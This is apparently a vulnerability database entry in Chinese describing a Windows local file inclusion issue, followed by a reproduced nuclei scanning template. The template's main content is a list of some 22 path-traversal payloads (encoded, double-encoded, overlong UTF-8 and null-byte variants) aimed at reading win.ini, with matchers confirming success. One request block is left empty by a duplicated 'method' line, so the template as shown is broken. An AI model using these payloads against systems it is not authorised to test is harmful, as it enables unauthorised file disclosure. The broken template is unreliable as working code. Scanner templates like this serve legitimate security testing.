Windows - Local File Inclusion

漏洞信息

漏洞名称： Windows - Local File Inclusion

漏洞类型： 文件读取

漏洞等级： 高危

漏洞描述： 该漏洞涉及Windows操作系统中的本地文件包含（LFI）问题，主要由于系统在处理特定URL请求时，会搜索/windows/win.ini文件。这种漏洞允许攻击者通过构造特殊的URL路径，绕过正常的文件访问限制，读取系统上的敏感文件。Windows操作系统是全球使用最广泛的操作系统之一，广泛应用于个人电脑、服务器等多种场景。此漏洞的技术根源在于输入验证不足，未能正确过滤或限制用户提供的路径参数，导致攻击者可以利用路径遍历技术访问受限文件。这种漏洞可能导致敏感信息泄露，如系统配置、用户数据等，严重威胁系统安全。攻击者无需认证即可利用此漏洞，且可以自动化执行攻击，增加了漏洞的危险性。

产品厂商： Microsoft

产品名称： Windows

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fvulnerabilities%2Fgeneric%2Fgeneric-windows-lfi.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: generic-windows-lfi

info:
  name: Windows - Local File Inclusion
  author: mesaglio,sushantkamble,ritikchaddha
  severity: high
  description: |
    Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 23
  tags: azure,windows,lfi,generic

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "Windows"
          - "Microsoft"
          - "IIS"
        condition: or
        internal: true

  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
        - "/./../../../../../../../../../../windows/win.ini"
        - "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
        - "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
        - "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
        - "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/..///////..////..//////windows/win.ini"
        - "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00"
        - "/index.php?page=windows/win.ini"
        - "/index.php?page=windows/win.ini%00"
        - "/index.php?page=../../windows/win.ini"
        - "/index.php?page=....//....//windows/win.ini"
        - "/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini"
        - "/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini"
        - "/../../../../../../../../../windows/win.ini"
        - "/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
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